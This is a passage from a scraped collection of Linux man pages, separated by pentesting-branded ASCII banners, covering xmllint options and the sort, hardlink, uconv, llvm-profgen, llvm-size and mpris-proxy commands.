–dtdvalidfpi FPI

Use the DTD specified by a Formal Public Identifier FPI for validation, note that this will require a catalog exporting that Formal Public Identifier to work.

–debug

Parse a file and output an annotated tree of the in-memory version of the document.

–debugent

Debug the entities defined in the document.

–dropdtd

Remove DTD from output.

–dtdattr

Fetch external DTD and populate the tree with inherited attributes.

–encode ENCODING

Output in the given encoding. Note that this works for full document not fragments or result from XPath queries.

–format

Reformat and reindent the output. The XMLLINT_INDENT environment variable controls the indentation. The default value is two spaces " “).

–help

Print out a short usage summary for xmllint.

–html

Use the HTML parser.

–htmlout

Output results as an HTML file. This causes xmllint to output the necessary HTML tags surrounding the result tree output so the results can be displayed/viewed in a browser.

–insert

Test for valid insertions.

–loaddtd

Fetch an external DTD.

–load-trace

Display all the documents loaded during the processing to stderr.

–maxmem NNBYTES

Test the parser memory support. NNBYTES is the maximum number of bytes the library is allowed to allocate. This can also be used to make sure batch processing of XML files will not exhaust the virtual memory of the server running them.

–memory

Parse from memory.

–noblanks

Drop ignorable blank spaces.

–nocatalogs

Do not use any catalogs.

–nocdata

Substitute CDATA section by equivalent text nodes.

–noent

Substitute entity values for entity references. By default, xmllint leaves entity references in place.

–nonet

Do not use the Internet to fetch DTDs or entities.

–noout

Suppress output. By default, xmllint outputs the result tree.

–nowarning

Do not emit warnings from the parser and/or validator.

–nowrap

Do not output HTML doc wrapper.

–noxincludenode

Do XInclude processing but do not generate XInclude start and end nodes.

–nsclean

Remove redundant namespace declarations.

–output FILE

Define a file path where xmllint will save the result of parsing. Usually the programs build a tree and save it on stdout, with this option the result XML instance will be saved onto a file.

–path “PATH(S)

Use the (space- or colon-separated) list of filesystem paths specified by PATHS to load DTDs or entities. Enclose space-separated lists by quotation marks.

–pattern PATTERNVALUE

Used to exercise the pattern recognition engine, which can be used with the reader interface to the parser. It allows to select some nodes in the document based on an XPath (subset) expression. Used for debugging.

–postvalid

Validate after parsing has completed.

–push

Use the push mode of the parser.

–recover

Output any parsable portions of an invalid document.

–relaxng SCHEMA

Use RelaxNG file named SCHEMA for validation.

–repeat

Repeat 100 times, for timing or profiling.

–schema SCHEMA

Use a W3C XML Schema file named SCHEMA for validation.

–shell

Run a navigating shell. Details on available commands in shell mode are below (see the section called “SHELL COMMANDS”).

–xpath “XPath_expression

Run an XPath expression given as argument and print the result. In case of a nodeset result, each node in the node set is serialized in full in the output. In case of an empty node set the “XPath set is empty” result will be shown and an error exit code will be returned.

–stream

Use streaming API - useful when used in combination with –relaxng or –valid options for validation of files that are too large to be held in memory.

–testIO

Test user input/output support.

–timing

Output information about the time it takes xmllint to perform the various steps.

–valid

Determine if the document is a valid instance of the included Document Type Definition (DTD). A DTD to be validated against also can be specified at the command line using the –dtdvalid option. By default, xmllint also checks to determine if the document is well-formed.

–version

Display the version of libxml(3) used.

–walker

Test the walker module, which is a reader interface but for a document tree, instead of using the reader API on an unparsed document it works on an existing in-memory tree. Used for debugging.

–xinclude

Do XInclude processing.

–xmlout

Used in conjunction with –html. Usually when HTML is parsed the document is saved with the HTML serializer. But with this option the resulting document is saved with the XML serializer. This is primarily used to generate XHTML from HTML input.

SHELL COMMANDS

xmllint offers an interactive shell mode invoked with the –shell command. Available commands in shell mode include (in alphabetical order):

base

Display XML base of the node.

bye

Leave the shell.

cat NODE

Display the given node or the current one.

cd PATH

Change the current node to the given path (if unique) or root if no argument is given.

dir PATH

Dumps information about the node (namespace, attributes, content).

du PATH

Show the structure of the subtree under the given path or the current node.

exit

Leave the shell.

help

Show this help.

free

Display memory usage.

load FILENAME

Load a new document with the given filename.

ls PATH

List contents of the given path or the current directory.

pwd

Display the path to the current node.

quit

Leave the shell.

save FILENAME

Save the current document to the given filename or to the original name.

validate

Check the document for errors.

write FILENAME

Write the current node to the given filename.

ENVIRONMENT

SGML_CATALOG_FILES

SGML catalog behavior can be changed by redirecting queries to the users own set of catalogs. This can be done by setting the SGML_CATALOG_FILES environment variable to a list of catalogs. An empty one should deactivate loading the default /etc/sgml/catalog catalog.

XML_CATALOG_FILES

XML catalog behavior can be changed by redirecting queries to the users own set of catalogs. This can be done by setting the XML_CATALOG_FILES environment variable to a space-separated list of catalogs. Use percent-encoding to escape spaces or other characters. An empty variable should deactivate loading the default /etc/xml/catalog catalog.

XML_DEBUG_CATALOG

Setting the environment variable XML_DEBUG_CATALOG to non-zero using the export command outputs debugging information related to catalog operations.

XMLLINT_INDENT

Setting the environment variable XMLLINT_INDENT controls the indentation. The default value is two spaces " “.

DIAGNOSTICS

xmllint return codes provide information that can be used when calling it from scripts.

0

No error

1

Unclassified

2

Error in DTD

3

Validation error

4

Validation error

5

Error in schema compilation

6

Error writing output

7

Error in pattern (generated when –pattern option is used)

8

Error in Reader registration (generated when –chkregister option is used)

9

Out of memory error

10

XPath evaluation error

SEE ALSO

libxml(3)

More information can be found at

·

libxml(3) web page https://gitlab.gnome.org/GNOME/libxml2

AUTHORS

John Fleck <[email protected]>

Author.

Ziying Sherwin <[email protected]>

Author.

Heiko Rupp <[email protected]>

Author.

COPYRIGHT

Copyright © 2001, 2004

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

649 - Linux cli command sort

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sort and provides detailed information about the command sort, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sort.

NAME 🖥️ sort 🖥️

sort lines of text files

SYNOPSIS

sort [OPTION]… [FILE]…
sort [OPTION]… –files0-from=F

DESCRIPTION

Write sorted concatenation of all FILE(s) to standard output.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too. Ordering options:

-b, –ignore-leading-blanks
ignore leading blanks

-d, –dictionary-order
consider only blanks and alphanumeric characters

-f, –ignore-case
fold lower case to upper case characters

-g, –general-numeric-sort
compare according to general numerical value

-i, –ignore-nonprinting
consider only printable characters

-M, –month-sort
compare (unknown) < ‘JAN’ < … < ‘DEC’

-h, –human-numeric-sort
compare human readable numbers (e.g., 2K 1G)

-n, –numeric-sort
compare according to string numerical value

-R, –random-sort
shuffle, but group identical keys. See shuf(1)

–random-source=FILE
get random bytes from FILE

-r, –reverse
reverse the result of comparisons

–sort=WORD
sort according to WORD: general-numeric -g, human-numeric -h, month -M, numeric -n, random -R, version -V

-V, –version-sort
natural sort of (version) numbers within text

Other options:

–batch-size=NMERGE
merge at most NMERGE inputs at once; for more use temp files

-c, –check, –check=diagnose-first
check for sorted input; do not sort

-C, –check=quiet, –check=silent
like -c, but do not report first bad line

–compress-program=PROG
compress temporaries with PROG; decompress them with PROG -d

–debug
annotate the part of the line used to sort, and warn about questionable usage to stderr

–files0-from=F
read input from the files specified by NUL-terminated names in file F; If F is - then read names from standard input

-k, –key=KEYDEF
sort via a key; KEYDEF gives location and type

-m, –merge
merge already sorted files; do not sort

-o, –output=FILE
write result to FILE instead of standard output

-s, –stable
stabilize sort by disabling last-resort comparison

-S, –buffer-size=SIZE
use SIZE for main memory buffer

-t, –field-separator=SEP
use SEP instead of non-blank to blank transition

-T, –temporary-directory=DIR
use DIR for temporaries, not $TMPDIR or /tmp; multiple options specify multiple directories

–parallel=N
change the number of sorts run concurrently to N

-u, –unique
with -c, check for strict ordering; without -c, output only the first of an equal run

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

KEYDEF is F[.C][OPTS][,F[.C][OPTS]] for start and stop position, where F is a field number and C a character position in the field; both are origin 1, and the stop position defaults to the line’s end. If neither -t nor -b is in effect, characters in a field are counted from the beginning of the preceding whitespace. OPTS is one or more single-letter ordering options [bdfgiMhnRrV], which override global ordering options for that key. If no key is given, use the entire line as the key. Use –debug to diagnose incorrect key usage.

SIZE may be followed by the following multiplicative suffixes: % 1% of memory, b 1, K 1024 (default), and so on for M, G, T, P, E, Z, Y, R, Q.

*** WARNING *** The locale specified by the environment affects sort order. Set LC_ALL=C to get the traditional sort order that uses native byte values.

AUTHOR

Written by Mike Haertel and Paul Eggert.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

shuf(1), uniq(1)

Full documentation <https://www.gnu.org/software/coreutils/sort>
or available locally via: info ‘(coreutils) sort invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

650 - Linux cli command hardlink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hardlink and provides detailed information about the command hardlink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hardlink.

NAME 🖥️ hardlink 🖥️

link multiple copies of a file

SYNOPSIS

hardlink [options] [directory|file]…

DESCRIPTION

hardlink is a tool that replaces copies of a file with either hardlinks or copy-on-write clones, thus saving space.

hardlink first creates a binary tree of file sizes and then compares the content of files that have the same size. There are two basic content comparison methods. The memcmp method directly reads data blocks from files and compares them. The other method is based on checksums (like SHA256); in this case for each data block a checksum is calculated by the Linux kernel crypto API, and this checksum is stored in userspace and used for file comparisons.

For each file also an “intro” buffer (32 bytes) is cached. This buffer is used independently from the comparison method and requested cache-size and io-size. The “intro” buffer dramatically reduces operations with data content as files are very often different from the beginning.

OPTIONS

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

-c, –content

Consider only file content, not attributes, when determining whether two files are equal. Same as -pot.

-b, –io-size size

The size of the read(2) or sendfile(2) buffer used when comparing file contents. The size argument may be followed by the multiplicative suffixes KiB, MiB, etc. The “iB” is optional, e.g., “K” has the same meaning as “KiB”. The default is 8KiB for memcmp method and 1MiB for the other methods. The only memcmp method uses process memory for the buffer, other methods use zero-copy way and I/O operation is done in the kernel. The size may be altered on the fly to fit a number of cached content checksums.

-d, –respect-dir

Only try to link files with the same directory name. The top-level directory (as specified on the hardlink command line) is ignored. For example, hardlink –respect-dir /foo /bar will link /foo/some/file with /bar/some/file, but not /bar/other/file. If combined with –respect-name, then entire paths (except the top-level directory) are compared.

-f, –respect-name

Only try to link files with the same (base)name. It’s strongly recommended to use long options rather than -f which is interpreted in a different way by other hardlink implementations.

-i, –include regex

A regular expression to include files. If the option –exclude has been given, this option re-includes files which would otherwise be excluded. If the option is used without –exclude, only files matched by the pattern are included.

-m, –maximize

Among equal files, keep the file with the highest link count.

-M, –minimize

Among equal files, keep the file with the lowest link count.

-n, –dry-run

Do not act, just print what would happen.

-o, –ignore-owner

Link and compare files even if their owner information (user and group) differs. Results may be unpredictable.

-O, –keep-oldest

Among equal files, keep the oldest file (least recent modification time). By default, the newest file is kept. If –maximize or –minimize is specified, the link count has a higher precedence than the time of modification.

-p, –ignore-mode

Link and compare files even if their mode is different. Results may be slightly unpredictable.

-q, –quiet

Quiet mode, don’t print anything.

-r, –cache-size size

The size of the cache for content checksums. All non-memcmp methods calculate checksum for each file content block (see –io-size), these checksums are cached for the next comparison. The size is important for large files or a large sets of files of the same size. The default is 10MiB.

-s, –minimum-size size

The minimum size to consider. By default this is 1, so empty files will not be linked. The size argument may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the “iB” is optional, e.g., “K” has the same meaning as “KiB”).

-S, –maximum-size size

The maximum size to consider. By default this is 0 and 0 has the special meaning of unlimited. The size argument may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the “iB” is optional, e.g., “K” has the same meaning as “KiB”).

-t, –ignore-time

Link and compare files even if their time of modification is different. This is usually a good choice.

-v, –verbose

Verbose output, explain to the user what is being done. If specified once, every hardlinked file is displayed. If specified twice, it also shows every comparison.

-x, –exclude regex

A regular expression which excludes files from being compared and linked.

-X, –respect-xattrs

Only try to link files with the same extended attributes.

-y, –method name

Set the file content comparison method. The currently supported methods are sha256, sha1, crc32c and memcmp. The default is sha256, or memcmp if Linux Crypto API is not available. The methods based on checksums are implemented in zero-copy way, in this case file contents are not copied to the userspace and all calculation is done in kernel.

–reflink[=when]

Create copy-on-write clones (aka reflinks) rather than hardlinks. The reflinked files share only on-disk data, but the file mode and owner can be different. It’s recommended to use it with –ignore-owner and –ignore-mode options. This option implies –skip-reflinks to ignore already cloned files.

The optional argument when can be never, always, or auto. If the when argument is omitted, it defaults to auto, in this case, hardlink checks filesystem type and uses reflinks on BTRFS and XFS only, and fallback to hardlinks when creating reflink is impossible. The argument always disables filesystem type detection and fallback to hardlinks, in this case, only reflinks are allowed.

–skip-reflinks

Ignore already cloned files. This option may be used without –reflink when creating classic hardlinks.

ARGUMENTS

hardlink takes one or more directories which will be searched for files to be linked.

BUGS

The original hardlink implementation uses the option -f to force hardlinks creation between filesystem. This very rarely usable feature is no more supported by the current hardlink.

hardlink assumes that the trees it operates on do not change during operation. If a tree does change, the result is undefined and potentially dangerous. For example, if a regular file is replaced by a device, hardlink may start reading from the device. If a component of a path is replaced by a symbolic link or file permissions change, security may be compromised. Do not run hardlink on a changing tree or on a tree controlled by another user.

AUTHOR

There are multiple hardlink implementations. The very first implementation is from Jakub Jelinek for Fedora distribution, this implementation has been used in util-linux between versions v2.34 to v2.36. The current implementations is based on Debian version from Julian Andres Klode.

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The hardlink command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

651 - Linux cli command uconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uconv and provides detailed information about the command uconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uconv.

NAME 🖥️ uconv 🖥️

convert data from one encoding to another

SYNOPSIS

uconv [ -h, -?, –help ] [ -V, –version ] [ -s, –silent ] [ -v, –verbose ] [ -l, –list | -l, –list-code* code* | –default-code | -L, –list-transliterators ] [ –canon ] [ -x*"transliteration ] [ –to-callback callback* | -c ] [ –from-callback* callback* | -i ] [ –callback* callback* ] [ –fallback | –no-fallback ] [ -b, –block-size* size* ] [ -f, –from-code* encoding* ] [ -t, –to-code* encoding* ] [ –add-signature ] [ –remove-signature ] [ -o, –output* file* ] [ file. . . ]

DESCRIPTION

uconv converts, or transcodes, each given file (or its standard input if no file is specified) from one encoding to another. The transcoding is done using Unicode as a pivot encoding (i.e. the data are first transcoded from their original encoding to Unicode, and then from Unicode to the destination encoding).

If an encoding is not specified or is -, the default encoding is used. Thus, calling uconv with no encoding provides an easy way to validate and sanitize data files for further consumption by tools requiring data in the default encoding.

When calling uconv, it is possible to specify callbacks that are used to handle invalid characters in the input, or characters that cannot be transcoded to the destination encoding. Some encodings, for example, offer a default substitution character that can be used to represent the occurrence of such characters in the input. Other callbacks offer a useful visual representation of the invalid data.

uconv can also run the specified transliteration on the transcoded data, in which case transliteration will happen as an intermediate step, after the data have been transcoded to Unicode. The transliteration can be either a list of semicolon-separated transliterator names, or an arbitrarily complex set of rules in the ICU transliteration rules format.

For transcoding purposes, uconv options are compatible with those of iconv(1), making it easy to replace it in scripts. It is not necessarily the case, however, that the encoding names used by uconv and ICU are the same as the ones used by iconv(1). Also, options that provide informational data, such as the -l, –list one offered by some iconv(1) variants such as GNU’s, produce data in a slightly different and easier to parse format.

OPTIONS

-h, -?, –help
Print help about usage and exit.

-V, –version
Print the version of uconv and exit.

-s, –silent
Suppress messages during execution.

-v, –verbose
Display extra informative messages during execution.

-l, –list
List all the available encodings and exit.

-l, –list-code* code*
List only the code encoding and exit. If code is not a proper encoding, exit with an error.

–default-code
List only the name of the default encoding and exit.

-L, –list-transliterators
List all the available transliterators and exit.

–canon
If used with -l, –list or –default-code, the list of encodings is produced in a format compatible with convrtrs.txt(5). If used with -L, –list-transliterators, print only one transliterator name per line.

-x* transliteration*
Run the given transliteration on the transcoded Unicode data, and use the transliterated data as input for the transcoding to the destination encoding.

–to-callback* callback*
Use callback to handle characters that cannot be transcoded to the destination encoding. See section CALLBACKS for details on valid callbacks.

-c
Omit invalid characters from the output. Same as –to-callback skip.

–from-callback* callback*
Use callback to handle characters that cannot be transcoded from the original encoding. See section CALLBACKS for details on valid callbacks.

-i
Ignore invalid sequences in the input. Same as –from-callback skip.

–callback* callback*
Use callback to handle both characters that cannot be transcoded from the original encoding and characters that cannot be transcoded to the destination encoding. See section CALLBACKS for details on valid callbacks.

–fallback
Use the fallback mapping when transcoding from Unicode to the destination encoding.

–no-fallback
Do not use the fallback mapping when transcoding from Unicode to the destination encoding. This is the default.

-b, –block-size* size*
Read input in blocks of size bytes at a time. The default block size is 4096.

-f, –from-code* encoding*
Set the original encoding of the data to encoding.

-t, –to-code* encoding*
Transcode the data to encoding.

–add-signature
Add a U+FEFF Unicode signature character (BOM) if the output charset supports it and does not add one anyway.

–remove-signature
Remove a U+FEFF Unicode signature character (BOM).

-o, –output* file*
Write the transcoded data to file.

CALLBACKS

uconv supports specifying callbacks to handle invalid data. Callbacks can be set for both directions of transcoding: from the original encoding to Unicode, with the –from-callback option, and from Unicode to the destination encoding, with the –to-callback option.

The following is a list of valid callback names, along with a description of their behavior. The list of callbacks actually supported by uconv is displayed when it is called with -h, –help.

substitute
Write the encoding’s substitute sequence, or the Unicode replacement character U+FFFD when transcoding to Unicode.

skip
Ignore the invalid data.

stop
Stop with an error when encountering invalid data. This is the default callback.

escape
Same as escape-icu.

escape-icu
Replace the missing characters with a string of the format %Uhhhh for plane 0 characters, and %Uhhhh%Uhhhh for planes 1 and above characters, where hhhh is the hexadecimal value of one of the UTF-16 code units representing the character. Characters from planes 1 and above are written as a pair of UTF-16 surrogate code units.

escape-java
Replace the missing characters with a string of the format \uhhhh for plane 0 characters, and \uhhhh\uhhhh for planes 1 and above characters, where hhhh is the hexadecimal value of one of the UTF-16 code units representing the character. Characters from planes 1 and above are written as a pair of UTF-16 surrogate code units.

escape-c
Replace the missing characters with a string of the format \uhhhh for plane 0 characters, and \Uhhhhhhhh for planes 1 and above characters, where hhhh and hhhhhhhh are the hexadecimal values of the Unicode codepoint.

escape-xml
Same as escape-xml-hex.

escape-xml-hex
Replace the missing characters with a string of the format &#xhhhh;****, where hhhh is the hexadecimal value of the Unicode codepoint.

escape-xml-dec
Replace the missing characters with a string of the format &#nnnn;****, where nnnn is the decimal value of the Unicode codepoint.

escape-unicode
Replace the missing characters with a string of the format {U+hhhh}****, where hhhh is the hexadecimal value of the Unicode codepoint. That hexadecimal string is of variable length and can use from 4 to 6 digits. This is the format universally used to denote a Unicode codepoint in the literature, delimited by curly braces for easy recognition of those substitutions in the output.

EXAMPLES

Convert data from a given encoding to the platform encoding:

$ uconv -f encoding

Check if a file contains valid data for a given encoding:

$ uconv -f encoding -c file >/dev/null

Convert a UTF-8 file to a given encoding and ensure that the resulting text is good for any version of HTML:

*$ uconv -f utf-8 -t encoding *
–callback escape-xml-dec file

Display the names of the Unicode code points in a UTF-file:

$ uconv -f utf-8 -x any-name file

Print the name of a Unicode code point whose value is known (U+30AB in this example):

$ echo ‘カ’ | uconv -x ‘hex-any; any-name’; echo
{KATAKANA LETTER KA}{LINE FEED}
$

(The names are delimited by curly braces. Also, the name of the line terminator is also displayed.)

Normalize UTF-8 data using Unicode NFKC, remove all control characters, and map Katakana to Hiragana:

*$ uconv -f utf-8 -t utf-8 *
-x ‘::nfkc; [:Cc:] >; ::katakana-hiragana;’

CAVEATS AND BUGS

uconv does report errors as occurring at the first invalid byte encountered. This may be confusing to users of GNU iconv(1), which reports errors as occurring at the first byte of an invalid sequence. For multi-byte character sets or encodings, this means that uconv error positions may be at a later offset in the input stream than would be the case with GNU iconv(1).

The reporting of error positions when a transliterator is used may be inaccurate or unavailable, in which case uconv will report the offset in the output stream at which the error occurred.

AUTHORS

Jonas Utterstroem
Yves Arrouye

VERSION

72.1

COPYRIGHT

Copyright (C) 2000-2005 IBM, Inc. and others.

SEE ALSO

iconv(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

652 - Linux cli command llvm-profgen-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-profgen-17 and provides detailed information about the command llvm-profgen-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-profgen-17.

NAME 🖥️ llvm-profgen-17 🖥️

profgen - LLVM SPGO profile generation tool

SYNOPSIS

llvm-profgen [commands] [options]

DESCRIPTION

The llvm-profgen utility generates a profile data file from given perf script data files for sample-based profile guided optimization(SPGO).

COMMANDS

At least one of the following commands are required:

–perfscript=<string[,string,…]>
Path of perf-script trace created by Linux perf tool with script command(the raw perf.data should be profiled with -b).

–binary=<string[,string,…]>
Path of the input profiled binary files.

–output=<string>
Path of the output profile file.

OPTIONS

llvm-profgen supports the following options:

–format=[text|binary|extbinary|compbinary|gcc]
Specify the format of the generated profile. Supported <format> are text, binary, extbinary, compbinary, gcc, see llvm-profdata for more descriptions of the format.

–show-mmap-events
Print mmap events.

–show-disassembly
Print disassembled code.

–x86-asm-syntax=[att|intel]
Specify whether to print assembly code in AT&T syntax (the default) or Intel syntax.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

653 - Linux cli command llvm-size-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-size-16 and provides detailed information about the command llvm-size-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-size-16.

NAME 🖥️ llvm-size-16 🖥️

size - manual page for llvm-size 16

DESCRIPTION

OVERVIEW: LLVM object size dumper

USAGE: build-llvm/tools/clang/stage2-bins/bin/llvm-size [options] <input object files>

OPTIONS:

-A
Alias for –format

-B
Alias for –format

–common
Print common symbols in the ELF file. When using Berkeley format, this is added to bss

-d
Alias for –radix=10

–format=<value> Specify output format

–help
Display this help

-h
Alias for –help

-m
Alias for –format

-o
Alias for –radix=8

–radix=<value>
Print size in radix

–totals
Print totals of all objects - Berkeley format only

-t
Alias for –totals

–version
Display the version

-x
Alias for –radix=16

OPTIONS (Mach-O specific):

–arch=<value> architecture(s) from a Mach-O file to dump

-l
When format is darwin, use long format to include addresses and offsets

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

654 - Linux cli command mpris-proxy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpris-proxy and provides detailed information about the command mpris-proxy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpris-proxy.

NAME 🖥️ mpris-proxy 🖥️

proxy - Bluetooth mpris-proxy

DESCRIPTION

Usage:

mpris-proxy [OPTION?]

Help Options:

-h, –help
Show help options

Application Options:

-v, –version
Show version information and exit

-e, –export
Export remote players

Usage:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
